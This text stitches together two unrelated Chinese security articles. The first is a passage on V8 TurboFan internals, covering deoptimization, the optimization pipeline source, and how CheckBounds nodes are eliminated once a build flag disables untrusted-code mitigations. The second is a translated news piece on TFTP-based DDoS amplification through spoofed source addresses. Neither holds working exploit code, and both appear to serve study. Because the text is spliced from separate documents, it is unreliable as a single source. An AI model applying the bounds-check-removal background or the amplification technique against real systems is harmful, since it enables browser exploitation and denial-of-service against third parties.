[deoptimizing (eager): end 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> [@1](https://github.com/1 "@1") => node=0, pc=0x7f0d956522e0, caller sp=0x7ffed15d2990, took 0.355 ms]
# 分割线--------------------------------------------------------------------- [marking 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)]
[compiling method 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> using TurboFan]
[optimizing 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> - took 1.435, 2.427, 0.159 ms]
[completed optimizing 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)>]
[compiling method 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> using TurboFan OSR]
[optimizing 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> - took 3.399, 6.299, 0.239 ms]
* 首先，`move`函数被标记为可优化的(optimized recompilation)，原因是该函数为small function。然后便开始重新编译以及优化。
* 之后，`move`函数再一次被标记为可优化的，原因是`hot and stable`。这是因为 v8 首先生成的是 [ignition bytecode](https://v8.dev/docs/ignition)。 如果某个函数被重复执行多次，那么TurboFan就会重新生成一些优化后的代码。
> 以下是获取优化理由的的v8代码。如果该JS函数可被优化，则将在外部的v8函数中，mark该JS函数为待优化的。
OptimizationReason RuntimeProfiler::ShouldOptimize(JSFunction* function,
JavaScriptFrame* frame) {
SharedFunctionInfo* shared = function->shared();
int ticks = function->feedback_vector()->profiler_ticks();
if (shared->GetBytecodeArray()->length() > kMaxBytecodeSizeForOpt) {
return OptimizationReason::kDoNotOptimize;
}
int ticks_for_optimization =
kProfilerTicksBeforeOptimization +
(shared->GetBytecodeArray()->length() / kBytecodeSizeAllowancePerTick);
// 如果执行次数较多，则标记为HotAndStable
if (ticks >= ticks_for_optimization) {
return OptimizationReason::kHotAndStable;
// 如果函数较小，则为 small function
} else if (!any_ic_changed_ && shared->GetBytecodeArray()->length() <
kMaxBytecodeSizeForEarlyOpt) {
// If no IC was patched since the last tick and this function is very
// small, optimistically optimize it now.
return OptimizationReason::kSmallFunction;
} else if (FLAG_trace_opt_verbose) {
PrintF("[not yet optimizing ");
function->PrintName();
PrintF(", not enough ticks: %d/%d and ", ticks,
kProfilerTicksBeforeOptimization);
if (any_ic_changed_) {
PrintF("ICs changed]\n");
} else {
PrintF(" too large for small function optimization: %d/%d]\n",
shared->GetBytecodeArray()->length(), kMaxBytecodeSizeForEarlyOpt);
}
}
return OptimizationReason::kDoNotOptimize;
}
* 但接下来就开始 **deopt** move函数了，原因是`Insufficient type feedback for construct`，目标代码是`move(new Wall())`中的`new Wall()`。这是因为turboFan的代码优化 **基于推测** ，即`speculative optimizations`。当我们多次执行`move(new Player())`时，turboFan会猜测move函数的参数总是`Player`对象，因此将move函数优化为更适合`Player`对象执行的代码，这样使得`Player`对象使用move函数时速度将会很快。这种猜想机制需要一种反馈来动态修改猜想，那么这种反馈就是 [type feedback](https://mrale.ph/blog/2015/01/11/whats-up-with-monomorphism.html)，Ignition instructions将利用 type feedback来帮助TurboFan的`speculative optimizations`。
>
> v8源码中，`JSFunction`类中存在一个类型为`FeedbackVector`的成员变量，该FeedbackVector将在JS函数被编译后启用。
因此一旦传入的参数不再是`Player`类型，即刚刚所说的`Wall`类型，那么将会使得猜想不成立，因此立即反优化，即 **销毁一部分的ignition
bytecode并重新生成** 。
需要注意的是，反优化机制( **deoptimization** )有着巨大的性能成本，应尽量避免反优化的产生。
* 下一个`deopt`的原因为`wrong map`。这里的 **map** 可以暂时理解为 **类型** 。与上一条deopt的原因类似，所生成的`move`优化函数只是针对于`Player`对象，因此一旦传入一个`Wall`对象，那么传入的类型就与函数中的类型不匹配，所以只能开始反优化。
* 如果我们在代码中来回使用`Player`对象和`Wall`对象，那么TurboFan也会综合考虑，并相应的再次优化代码。
## 四、turboFan的执行流程
* turboFan的代码优化有多条执行流，其中最常见到的是下面这条：
* 从`Runtime_CompileOptimized_Concurrent`函数开始，设置并行编译&优化 特定的JS函数
// v8\src\runtime\runtime-compiler.cc 46
RUNTIME_FUNCTION(Runtime_CompileOptimized_Concurrent) {
HandleScope scope(isolate);
DCHECK_EQ(1, args.length());
CONVERT_ARG_HANDLE_CHECKED(JSFunction, function, 0);
StackLimitCheck check(isolate);
if (check.JsHasOverflowed(kStackSpaceRequiredForCompilation * KB)) {
return isolate->StackOverflow();
}
// 设置并行模式，之后开始编译与优化
if (!Compiler::CompileOptimized(function, ConcurrencyMode::kConcurrent)) {
return ReadOnlyRoots(isolate).exception();
}
DCHECK(function->is_compiled());
return function->code();
}
* 在`Compiler::CompileOptimized`函数中，继续执行`GetOptimizedCode`函数，并将可能生成的优化代码传递给`JSFunction`对象。
// v8\src\compiler.cc
bool Compiler::CompileOptimized(Handle<JSFunction> function,
ConcurrencyMode mode) {
if (function->IsOptimized()) return true;
Isolate* isolate = function->GetIsolate();
DCHECK(AllowCompilation::IsAllowed(isolate));
// Start a compilation.
Handle<Code> code;
if (!GetOptimizedCode(function, mode).ToHandle(&code)) {
// Optimization failed, get unoptimized code. Unoptimized code must exist
// already if we are optimizing.
DCHECK(!isolate->has_pending_exception());
DCHECK(function->shared()->is_compiled());
DCHECK(function->shared()->IsInterpreted());
code = BUILTIN_CODE(isolate, InterpreterEntryTrampoline);
}
// Install code on closure.
function->set_code(*code);
// Check postconditions on success.
DCHECK(!isolate->has_pending_exception());
DCHECK(function->shared()->is_compiled());
DCHECK(function->is_compiled());
DCHECK_IMPLIES(function->HasOptimizationMarker(),
function->IsInOptimizationQueue());
DCHECK_IMPLIES(function->HasOptimizationMarker(),
function->ChecksOptimizationMarker());
DCHECK_IMPLIES(function->IsInOptimizationQueue(),
mode == ConcurrencyMode::kConcurrent);
return true;
}
* `GetOptimizedCode`的函数代码如下：
// v8\src\compiler.cc
MaybeHandle<Code> GetOptimizedCode(Handle<JSFunction> function,
ConcurrencyMode mode,
BailoutId osr_offset = BailoutId::None(),
JavaScriptFrame* osr_frame = nullptr) {
Isolate* isolate = function->GetIsolate();
Handle<SharedFunctionInfo> shared(function->shared(), isolate);
// Make sure we clear the optimization marker on the function so that we
// don't try to re-optimize.
if (function->HasOptimizationMarker()) {
function->ClearOptimizationMarker();
}
if (isolate->debug()->needs_check_on_function_call()) {
// Do not optimize when debugger needs to hook into every call.
return MaybeHandle<Code>();
}
Handle<Code> cached_code;
if (GetCodeFromOptimizedCodeCache(function, osr_offset)
.ToHandle(&cached_code)) {
if (FLAG_trace_opt) {
PrintF("[found optimized code for ");
function->ShortPrint();
if (!osr_offset.IsNone()) {
PrintF(" at OSR AST id %d", osr_offset.ToInt());
}
PrintF("]\n");
}
return cached_code;
}
// Reset profiler ticks, function is no longer considered hot.
DCHECK(shared->is_compiled());
function->feedback_vector()->set_profiler_ticks(0);
VMState<COMPILER> state(isolate);
DCHECK(!isolate->has_pending_exception());
PostponeInterruptsScope postpone(isolate);
bool has_script = shared->script()->IsScript();
// BUG(5946): This DCHECK is necessary to make certain that we won't
// tolerate the lack of a script without bytecode.
DCHECK_IMPLIES(!has_script, shared->HasBytecodeArray());
std::unique_ptr<OptimizedCompilationJob> job(
compiler::Pipeline::NewCompilationJob(isolate, function, has_script));
OptimizedCompilationInfo* compilation_info = job->compilation_info();
compilation_info->SetOptimizingForOsr(osr_offset, osr_frame);
// Do not use TurboFan if we need to be able to set break points.
if (compilation_info->shared_info()->HasBreakInfo()) {
compilation_info->AbortOptimization(BailoutReason::kFunctionBeingDebugged);
return MaybeHandle<Code>();
}
// Do not use TurboFan when %NeverOptimizeFunction was applied.
if (shared->optimization_disabled() &&
shared->disable_optimization_reason() ==
BailoutReason::kOptimizationDisabledForTest) {
compilation_info->AbortOptimization(
BailoutReason::kOptimizationDisabledForTest);
return MaybeHandle<Code>();
}
// Do not use TurboFan if optimization is disabled or function doesn't pass
// turbo_filter.
if (!FLAG_opt || !shared->PassesFilter(FLAG_turbo_filter)) {
compilation_info->AbortOptimization(BailoutReason::kOptimizationDisabled);
return MaybeHandle<Code>();
}
TimerEventScope<TimerEventOptimizeCode> optimize_code_timer(isolate);
RuntimeCallTimerScope runtimeTimer(isolate,
RuntimeCallCounterId::kOptimizeCode);
TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.OptimizeCode");
// In case of concurrent recompilation, all handles below this point will be
// allocated in a deferred handle scope that is detached and handed off to
// the background thread when we return.
base::Optional<CompilationHandleScope> compilation;
if (mode == ConcurrencyMode::kConcurrent) {
compilation.emplace(isolate, compilation_info);
}
// All handles below will be canonicalized.
CanonicalHandleScope canonical(isolate);
// Reopen handles in the new CompilationHandleScope.
compilation_info->ReopenHandlesInNewHandleScope(isolate);
if (mode == ConcurrencyMode::kConcurrent) {
if (GetOptimizedCodeLater(job.get(), isolate)) {
job.release(); // The background recompile job owns this now.
// Set the optimization marker and return a code object which checks it.
function->SetOptimizationMarker(OptimizationMarker::kInOptimizationQueue);
DCHECK(function->IsInterpreted() ||
(!function->is_compiled() && function->shared()->IsInterpreted()));
DCHECK(function->shared()->HasBytecodeArray());
return BUILTIN_CODE(isolate, InterpreterEntryTrampoline);
}
} else {
if (GetOptimizedCodeNow(job.get(), isolate))
return compilation_info->code();
}
if (isolate->has_pending_exception()) isolate->clear_pending_exception();
return MaybeHandle<Code>();
}
函数代码有点长，这里总结一下所做的操作：
* 如果之前该函数被mark为待优化的，则取消该mark（回想一下`--trace-opt`的输出）
* 如果debugger需要hook该函数，或者在该函数上下了断点，则不优化该函数，直接返回。
* 如果之前已经优化过该函数（存在OptimizedCodeCache），则直接返回之前优化后的代码。
* 重置当前函数的`profiler ticks`，使得该函数 **不再hot** ，这样做的目的是使当前函数不被重复优化。
* 如果设置了一些禁止优化的参数（例如`%NeverOptimizeFunction`，或者设置了`turbo_filter`），则取消当前函数的优化。
* 以上步骤完成后则开始优化代码，优化代码也有两种不同的方式，分别是 **并行优化** 和 **非并行优化** 。在大多数情况下执行的都是并行优化，因为速度更快。并行优化会先执行`GetOptimizedCodeLater`函数，在该函数中判断一些异常条件，例如任务队列已满或者内存占用过高。如果没有异常条件，则执行`OptimizedCompilationJob::PrepareJob`函数，并继续在更深层次的调用`PipelineImpl::CreateGraph`来 **建图** 。如果`GetOptimizedCodeLater`函数工作正常，则将会把优化任务`Job`放入任务队列中。任务队列将安排另一个线程执行优化操作。另一个线程的栈帧如下，该线程将执行`Job->ExecuteJob`并在更深层次调用`PipelineImpl::OptimizeGraph`来 **优化之前建立的图结构** ：
当另一个线程在优化代码时，主线程可以继续执行其他任务：
* 综上我们可以得知，JIT最终的优化位于`PipelineImpl`类中，包括建图以及优化图等
// v8\src\compiler\pipeline.cc
class PipelineImpl final {
public:
explicit PipelineImpl(PipelineData* data) : data_(data) {}
// Helpers for executing pipeline phases.
template <typename Phase>
void Run();
template <typename Phase, typename Arg0>
void Run(Arg0 arg_0);
template <typename Phase, typename Arg0, typename Arg1>
void Run(Arg0 arg_0, Arg1 arg_1);
// Step A. Run the graph creation and initial optimization passes.
bool CreateGraph();
// B. Run the concurrent optimization passes.
bool OptimizeGraph(Linkage* linkage);
// Substep B.1. Produce a scheduled graph.
void ComputeScheduledGraph();
// Substep B.2. Select instructions from a scheduled graph.
bool SelectInstructions(Linkage* linkage);
// Step C. Run the code assembly pass.
void AssembleCode(Linkage* linkage);
// Step D. Run the code finalization pass.
MaybeHandle<Code> FinalizeCode();
// Step E. Install any code dependencies.
bool CommitDependencies(Handle<Code> code);
void VerifyGeneratedCodeIsIdempotent();
void RunPrintAndVerify(const char* phase, bool untyped = false);
MaybeHandle<Code> GenerateCode(CallDescriptor* call_descriptor);
void AllocateRegisters(const RegisterConfiguration* config,
CallDescriptor* call_descriptor, bool run_verifier);
OptimizedCompilationInfo* info() const;
Isolate* isolate() const;
CodeGenerator* code_generator() const;
private:
PipelineData* const data_;
};
## 五、初探optimization phases
### 1\. 简介
与LLVM IR的各种Pass类似，turboFan中使用各类phases进行建图、搜集信息以及简化图。
以下是`PipelineImpl::CreateGraph`函数源码，其中使用了大量的`Phase`。这些`Phase`有些用于建图，有些用于优化（在建图时也会执行一部分简单的优化），还有些为接下来的优化做准备：
bool PipelineImpl::CreateGraph() {
PipelineData* data = this->data_;
data->BeginPhaseKind("graph creation");
if (info()->trace_turbo_json_enabled() ||
info()->trace_turbo_graph_enabled()) {
CodeTracer::Scope tracing_scope(data->GetCodeTracer());
OFStream os(tracing_scope.file());
os << "---------------------------------------------------\n"
<< "Begin compiling method " << info()->GetDebugName().get()
<< " using Turbofan" << std::endl;
}
if (info()->trace_turbo_json_enabled()) {
TurboCfgFile tcf(isolate());
tcf << AsC1VCompilation(info());
}
data->source_positions()->AddDecorator();
if (data->info()->trace_turbo_json_enabled()) {
data->node_origins()->AddDecorator();
}
Run<GraphBuilderPhase>();
RunPrintAndVerify(GraphBuilderPhase::phase_name(), true);
// Perform function context specialization and inlining (if enabled).
Run<InliningPhase>();
RunPrintAndVerify(InliningPhase::phase_name(), true);
// Remove dead->live edges from the graph.
Run<EarlyGraphTrimmingPhase>();
RunPrintAndVerify(EarlyGraphTrimmingPhase::phase_name(), true);
// Run the type-sensitive lowerings and optimizations on the graph.
{
// Determine the Typer operation flags.
Typer::Flags flags = Typer::kNoFlags;
if (is_sloppy(info()->shared_info()->language_mode()) &&
info()->shared_info()->IsUserJavaScript()) {
// Sloppy mode functions always have an Object for this.
flags |= Typer::kThisIsReceiver;
}
if (IsClassConstructor(info()->shared_info()->kind())) {
// Class constructors cannot be [[Call]]ed.
flags |= Typer::kNewTargetIsReceiver;
}
// Type the graph and keep the Typer running on newly created nodes within
// this scope; the Typer is automatically unlinked from the Graph once we
// leave this scope below.
Typer typer(isolate(), data->js_heap_broker(), flags, data->graph());
Run<TyperPhase>(&typer);
RunPrintAndVerify(TyperPhase::phase_name());
// Do some hacky things to prepare for the optimization phase.
// (caching handles, etc.).
Run<ConcurrentOptimizationPrepPhase>();
if (FLAG_concurrent_compiler_frontend) {
data->js_heap_broker()->SerializeStandardObjects();
Run<CopyMetadataForConcurrentCompilePhase>();
}
// Lower JSOperators where we can determine types.
Run<TypedLoweringPhase>();
RunPrintAndVerify(TypedLoweringPhase::phase_name());
}
data->EndPhaseKind();
return true;
}
`PipelineImpl::OptimizeGraph`函数代码如下，该函数将会对所建立的图进行优化：
bool PipelineImpl::OptimizeGraph(Linkage* linkage) {
PipelineData* data = this->data_;
data->BeginPhaseKind("lowering");
if (data->info()->is_loop_peeling_enabled()) {
Run<LoopPeelingPhase>();
RunPrintAndVerify(LoopPeelingPhase::phase_name(), true);
} else {
Run<LoopExitEliminationPhase>();
RunPrintAndVerify(LoopExitEliminationPhase::phase_name(), true);
}
if (FLAG_turbo_load_elimination) {
Run<LoadEliminationPhase>();
RunPrintAndVerify(LoadEliminationPhase::phase_name());
}
if (FLAG_turbo_escape) {
Run<EscapeAnalysisPhase>();
if (data->compilation_failed()) {
info()->AbortOptimization(
BailoutReason::kCyclicObjectStateDetectedInEscapeAnalysis);
data->EndPhaseKind();
return false;
}
RunPrintAndVerify(EscapeAnalysisPhase::phase_name());
}
// Perform simplified lowering. This has to run w/o the Typer decorator,
// because we cannot compute meaningful types anyways, and the computed types
// might even conflict with the representation/truncation logic.
Run<SimplifiedLoweringPhase>();
RunPrintAndVerify(SimplifiedLoweringPhase::phase_name(), true);
// From now on it is invalid to look at types on the nodes, because the types
// on the nodes might not make sense after representation selection due to the
// way we handle truncations; if we'd want to look at types afterwards we'd
// essentially need to re-type (large portions of) the graph.
// In order to catch bugs related to type access after this point, we now
// remove the types from the nodes (currently only in Debug builds).
#ifdef DEBUG
Run<UntyperPhase>();
RunPrintAndVerify(UntyperPhase::phase_name(), true);
#endif
// Run generic lowering pass.
Run<GenericLoweringPhase>();
RunPrintAndVerify(GenericLoweringPhase::phase_name(), true);
data->BeginPhaseKind("block building");
// Run early optimization pass.
Run<EarlyOptimizationPhase>();
RunPrintAndVerify(EarlyOptimizationPhase::phase_name(), true);
Run<EffectControlLinearizationPhase>();
RunPrintAndVerify(EffectControlLinearizationPhase::phase_name(), true);
if (FLAG_turbo_store_elimination) {
Run<StoreStoreEliminationPhase>();
RunPrintAndVerify(StoreStoreEliminationPhase::phase_name(), true);
}
// Optimize control flow.
if (FLAG_turbo_cf_optimization) {
Run<ControlFlowOptimizationPhase>();
RunPrintAndVerify(ControlFlowOptimizationPhase::phase_name(), true);
}
// Optimize memory access and allocation operations.
Run<MemoryOptimizationPhase>();
// TODO(jarin, rossberg): Remove UNTYPED once machine typing works.
RunPrintAndVerify(MemoryOptimizationPhase::phase_name(), true);
// Lower changes that have been inserted before.
Run<LateOptimizationPhase>();
// TODO(jarin, rossberg): Remove UNTYPED once machine typing works.
RunPrintAndVerify(LateOptimizationPhase::phase_name(), true);
data->source_positions()->RemoveDecorator();
if (data->info()->trace_turbo_json_enabled()) {
data->node_origins()->RemoveDecorator();
}
ComputeScheduledGraph();
return SelectInstructions(linkage);
}
由于上面两个函数涉及到的`Phase`众多，这里请各位自行阅读源码来了解各个Phase的具体功能。
接下来我们只介绍几个比较重要的`Phases`：`GraphBuilderPhase`、`TyperPhase`和`SimplifiedLoweringPhase`。
### 2\. GraphBuilderPhase
* `GraphBuilderPhase`将遍历字节码，并建一个初始的图，这个图将用于接下来Phase的处理，包括但不限于各种代码优化。
* 一个简单的例子
### 3\. TyperPhase
* `TyperPhase`将会遍历整个图的所有结点，并给每个结点设置一个`Type`属性，该操作将在建图完成后被执行
> 给每个结点设置Type的操作是不是极其类似于编译原理中的语义分析呢？ XD
bool PipelineImpl::CreateGraph() {
// ...
Run<GraphBuilderPhase>();
RunPrintAndVerify(GraphBuilderPhase::phase_name(), true);
// ...
// Run the type-sensitive lowerings and optimizations on the graph.
{
// ...
// Type the graph and keep the Typer running on newly created nodes within
// this scope; the Typer is automatically unlinked from the Graph once we
// leave this scope below.
Typer typer(isolate(), data->js_heap_broker(), flags, data->graph());
Run<TyperPhase>(&typer);
RunPrintAndVerify(TyperPhase::phase_name());
// ...
}
// ...
}
其中，具体执行的是`TyperPhase::Run`函数：
struct TyperPhase {
static const char* phase_name() { return "typer"; }
void Run(PipelineData* data, Zone* temp_zone, Typer* typer) {
// ...
typer->Run(roots, &induction_vars);
}
};
在该函数中继续调用`Typer::Run`函数，并在`GraphReducer::ReduceGraph`函数中最终调用到`Typer::Visitor::Reduce`函数：
void Typer::Run(const NodeVector& roots,
LoopVariableOptimizer* induction_vars) {
// ...
Visitor visitor(this, induction_vars);
GraphReducer graph_reducer(zone(), graph());
graph_reducer.AddReducer(&visitor);
for (Node* const root : roots) graph_reducer.ReduceNode(root);
graph_reducer.ReduceGraph();
// ...
}
在`Typer::Visitor::Reduce`函数中存在一个较大的switch结构，通过该switch结构，当Visitor遍历每个node时，即可最终调用到对应的`XXXTyper`函数。
> 例如，对于一个JSCall结点，将在TyperPhase中最终调用到`Typer::Visitor::JSCallTyper`
* 这里我们简单看一下`JSCallTyper`函数源码，该函数中存在一个很大的switch结构，该结构将设置每个`Builtin`函数结点的`Type`属性，即函数的返回值类型。
Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
if (!fun.IsHeapConstant() || !fun.AsHeapConstant()->Ref().IsJSFunction()) {
return Type::NonInternal();
}
JSFunctionRef function = fun.AsHeapConstant()->Ref().AsJSFunction();
if (!function.shared().HasBuiltinFunctionId()) {
return Type::NonInternal();
}
switch (function.shared().builtin_function_id()) {
case BuiltinFunctionId::kMathRandom:
return Type::PlainNumber();
// ...
* 而对于一个常数`NumberConstant`类型，`TyperPhase`也会打上一个对应的类型
Type Typer::Visitor::TypeNumberConstant(Node* node)
// 注意这里使用的是double，这也就说明了为什么Number.MAX_SAFE_INTEGER = 9007199254740991
double number = OpParameter<double>(node->op());
return Type::NewConstant(number, zone());
}
而在`Type::NewConstant`函数中，我们会发现一个神奇的设计：
Type Type::NewConstant(double value, Zone* zone) {
// 对于一个正常的整数
if (RangeType::IsInteger(value)) {
// 实际上所设置的Type是一个range！
return Range(value, value, zone);
// 否则如果是一个异常的-0,则返回对应的MinusZero
} else if (IsMinusZero(value)) {
return Type::MinusZero();
// 如果是NAN，则返回NaN
} else if (std::isnan(value)) {
return Type::NaN();
}
DCHECK(OtherNumberConstantType::IsOtherNumberConstant(value));
return OtherNumberConstant(value, zone);
}
对于JS代码中的一个NumberConstant， **实际上设置的Type是一个Range**
，只不过这个Range的首尾范围均是该数，例如`NumberConstant(3) => Range(3, 3, zone)`
* 以下这张图可以证明`TyperPhase`正如预期那样执行：
* 与之相应的，v8采用了SSA。因此对于一个Phi结点，它将设置该节点的Type为几个可能值的Range的并集。
Type Typer::Visitor::TypePhi(Node* node) {
int arity = node->op()->ValueInputCount();
Type type = Operand(node, 0);
for (int i = 1; i < arity; ++i) {
type = Type::Union(type, Operand(node, i), zone());
}
return type;
}
请看以下示例：
### 4\. SimplifiedLoweringPhase
* `SimplifiedLoweringPhase`会遍历结点做一些处理，同时也会对图做一些优化操作。这里我们只关注该`Phase`优化`CheckBound`的细节，因为`CheckBound`通常是用于判断 JS数组（例如ArrayBuffer） 是否越界使用 所设置的结点。
* 首先我们可以通过以下路径来找到优化`CheckBound`的目标代码：
SimplifiedLoweringPhase::Run
SimplifiedLowering::LowerAllNodes
RepresentationSelector::Run
RepresentationSelector::VisitNode
目标代码如下:
// Dispatching routine for visiting the node {node} with the usage {use}.
// Depending on the operator, propagate new usage info to the inputs.
void VisitNode(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
// Unconditionally eliminate unused pure nodes (only relevant if there's
// a pure operation in between two effectful ones, where the last one
// is unused).
// Note: We must not do this for constants, as they are cached and we
// would thus kill the cached {node} during lowering (i.e. replace all
// uses with Dead), but at that point some node lowering might have
// already taken the constant {node} from the cache (while it was in
// a sane state still) and we would afterwards replace that use with
// Dead as well.
if (node->op()->ValueInputCount() > 0 &&
node->op()->HasProperty(Operator::kPure)) {
if (truncation.IsUnused()) return VisitUnused(node);
}
switch (node->opcode()) {
// ...
case IrOpcode::kCheckBounds: {
const CheckParameters& p = CheckParametersOf(node->op());
Type index_type = TypeOf(node->InputAt(0));
Type length_type = TypeOf(node->InputAt(1));
if (index_type.Is(Type::Integral32OrMinusZero())) {
// Map -0 to 0, and the values in the [-2^31,-1] range to the
// [2^31,2^32-1] range, which will be considered out-of-bounds
// as well, because the {length_type} is limited to Unsigned31.
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower() && lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison) {
// 可以看到，如果当前索引的最大值小于length的最小值，则表示当前索引的使用没有越界
if (index_type.IsNone() || length_type.IsNone() ||
(index_type.Min() >= 0.0 &&
index_type.Max() < length_type.Min())) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
// CheckBound将会被优化
DeferReplacement(node, node->InputAt(0));
}
}
} else {
VisitBinop(
node,
UseInfo::CheckedSigned32AsWord32(kIdentifyZeros, p.feedback()),
UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
}
return;
}
// ....
}
// ...
}
可以看到，在`CheckBound`的优化判断逻辑中，如果当前索引的最大值小于length的最小值，则表示当前索引的使用没有越界，此时将会移除`CheckBound`结点以简化IR图。
> 需要注意NumberConstant结点的Type是一个Range类型，因此才会有最大值Max和最小值Min的概念。
* 这里需要解释一下环境搭配中所说的，为什么要 **添加一个编译参数`v8_optimized_debug = false`**，注意看上面判断条件中的这行条件
if (lower() && lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison)
`visitNode`时有三个状态，分别是`Phase::PROPAGATE`（信息收集）、`Phase::RETYPE`（从类型反馈中获取类型）以及`Phase::LOWER`（开始优化）。当真正
**开始优化** 时，`lower()`条件自然成立，因此我们无需处理这个。
但对于下一个条件，通过动态调试可以得知，`poisoning_level`始终不为`PoisoningMitigationLevel::kDontPoison`。通过追溯`lowering->poisoning_level_`，我们可以发现它实际上在`PipelineCompilationJob::PrepareJobImpl`中被设置
PipelineCompilationJob::Status PipelineCompilationJob::PrepareJobImpl(
Isolate* isolate) {
// ...
// Compute and set poisoning level.
PoisoningMitigationLevel load_poisoning =
PoisoningMitigationLevel::kDontPoison;
if (FLAG_branch_load_poisoning) {
load_poisoning = PoisoningMitigationLevel::kPoisonAll;
} else if (FLAG_untrusted_code_mitigations) {
load_poisoning = PoisoningMitigationLevel::kPoisonCriticalOnly;
}
// ...
}
而`FLAG_branch_load_poisoning`始终为`false`，`FLAG_untrusted_code_mitigations`始终为`true`
> 编译参数v8_untrusted_code_mitigations 默认
> true，使得宏DISABLE_UNTRUSTED_CODE_MITIGATIONS没有被定义，因此默认设置`FLAG_untrusted_code_mitigations
> = true`
// v8/src/flag-definitions.h
// 设置`FLAG_untrusted_code_mitigations`
#ifdef DISABLE_UNTRUSTED_CODE_MITIGATIONS
#define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS false
#else
#define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS true
#endif
DEFINE_BOOL(untrusted_code_mitigations, V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS,
"Enable mitigations for executing untrusted code")
#undef V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS
// 设置`FLAG_branch_load_poisoning`
DEFINE_BOOL(branch_load_poisoning, false, "Mask loads with branch conditions.")
# BUILD.gn
declare_args() {
# ...
# Enable mitigations for executing untrusted code.
# 默认为true
v8_untrusted_code_mitigations = true
# ...
}
# ...
if (!v8_untrusted_code_mitigations) {
defines += [ "DISABLE_UNTRUSTED_CODE_MITIGATIONS" ]
}
# ...
这样就会使得`load_poisoning`始终为`PoisoningMitigationLevel::kPoisonCriticalOnly`，因此始终无法执行`checkBounds`的优化操作。所以我们需要手动设置编译参数`v8_untrusted_code_mitigations
= false`，以启动checkbounds的优化。
* 以下是一个简单checkbounds优化的例子
function f(x)
{
const arr = new Array(1.1, 2.2, 3.3, 4.4, 5.5);
let t = 1 + 1;
return arr[t];
}
console.log(f(1));
%OptimizeFunctionOnNextCall(f);
console.log(f(1));
优化前发现存在一个checkBounds：
执行完`SimplifiedLoweringPhase`后，`CheckBounds`被优化了: | 社区文章 |
# 利用TFTP协议来进行DDoS放大攻击
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://securityaffairs.co/wordpress/45159/hacking/tftp-ddos-amplification-attacks.html>
译文仅供参考，具体内容表达以及含义原文为准。
**近期，一群来自爱丁堡龙比亚大学的安全研究专家们发现了一种基于TFTP协议的新型DDoS放大技术。**
据有关媒体报道，有几位来自爱丁堡龙比亚大学的安全研究专家（Boris Sieklik, Richard Macfarlane以及Prof. William
Buchanan）发现了一种能够进行DDoS放大攻击的新方法。在此之前，安全社区中的安全专家们就已经发现他们可以利用一些存在错误配置的服务协议（例如[DNS](http://securityaffairs.co/wordpress/22928/cyber-crime/dns-amplification-botnet.html)或者[网络时间协议NTP](http://securityaffairs.co/wordpress/20934/cyber-crime/symantec-network-time-protocol-ntp-reflection-ddos-attacks.html)等）来进行放大攻击。现在，安全专家又发现了，他们还可以利用TFTP协议来进行放大攻击。
无论是基于 DNS 还是基于 NTP，其最终都是基于 UDP 协议的。在 UDP
协议中，正常情况下客户端会发送请求包到服务端，服务端再将响应包返回至客户端，但是 UDP 协议是面向无连接的，所以客户端发送请求包的源 IP
地址很容易进行伪造，当把源 IP地址修改为受害者的 IP地址之后，最终服务端返回的响应包就会返回到受害者的 IP地址。这就形成了一次反射攻击。
放大攻击指的就是一次小的请求包最终会收到一个或者多个多于请求包许多倍的响应包，这样就达到了四两拨千斤的效果。
TFTP协议（Trivial File Transfer
Protocol），即简单文本传输协议。该协议是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议，它可以为用户提供简单的、开销不大的文件传输服务。TFTP协议是基于UDP协议实现的，而且此协议设计的时候是为了进行小文件传输而设计的，所以它不具备通常FTP的许多功。除此之外，它只能从文件服务器上下载或写入文件，而且不能列出目录，不进行认证。
安全专家们发现，攻击者可以利用TFTP协议来在他们的攻击过程中获得一个显著放大的攻击向量。而且不幸的是，根据[相关的端口扫描研究报告](http://internetcensus2012.bitbucket.org/paper.html)显示，目前的互联网中存在有大约599600个开放的TFTP服务器。
相关安全研究人员已经确认，这项技术将帮助攻击者获得相较于原始攻击向量六十倍的放大攻击向量。
[安全研究人员Boris
Sieklik表示](http://www.theregister.co.uk/2016/03/09/trivial_ddos_amplification_method/)：“协议中所存在的这个漏洞将允许攻击者利用这些开放的TFTP服务器来对他们的DDoS攻击向量进行放大。如果所有条件均满足的话，攻击者所获得的攻击向量将会是原始攻击向量的六十倍之多。”
除此之外，该研究人员还说到：“我对这类攻击可能产生的影响进行了研究，在对几个不同的TFTP软件进行了研究之后，我发现大多数的软件都会自动对相同的信息进行至少六次转发，而这也将有助于攻击者放大攻击向量。”
正如我们在文中所介绍的那样，TFTP协议（简单文本传输协议）是一个简化版的FTP协议（即文本传输协议，该协议主要用于局域网的文件传输）。因此，TFTP协议则更加简单，实现起来也非常的容易，所以很多组织和机构都会选择使用TFTP服务器。
当然了，我们也可以利用TFTP协议来传输任何类型的文件。为了实现DDoS攻击向量的放大效果，攻击者可以专门伪造一个发送至服务器端的请求信息，然后再伪造一个返回地址。这样一来，服务器所发送的响应信息将会比原始的请求信息更大，攻击者也就成功地实现了放大攻击向量的目的了。
目前，互联网中存在有大量错误配置的服务，攻击者还可以利用这些服务来对某一特定的网站进行攻击。攻击者可以利用伪造的请求信息和响应信息来向这些网站发送垃圾信息，以实现攻击。
